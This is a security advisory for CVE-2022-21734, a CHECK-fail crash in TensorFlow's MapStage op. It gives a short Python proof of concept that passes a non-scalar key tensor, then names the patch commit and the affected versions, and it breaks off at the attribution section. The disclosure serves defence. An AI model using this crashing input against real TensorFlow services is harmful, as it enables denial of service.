`CHECK`-failures in Tensorflow
High6.5CVE-2022-21734 · Published Feb 10, 2022 · updated Sep 10, 2026
### Impact The [implementation of `MapStage`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/map_stage_op.cc#L519-L550) is vulnerable a `CHECK`-fail if the key tensor is not a scalar: ```python import tensorflow as tf import numpy as np tf.raw_ops.MapStage( key = tf.constant(value=[4], shape= (1,2), dtype=tf.int64), indices = np.array([[6]]), values = np.array([-60]), dtypes = [tf.int64], capacity=0, memory_limit=0, container='', shared_name='', name=None ) ``` ### Patches We have patched the issue in GitHub commit [f57315566d7094f322b784947093406c2aea0d7d](https://github.com/tensorflow/tensorflow/commit/f57315566d7094f322b784947093406c2aea0d7d). The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerab...
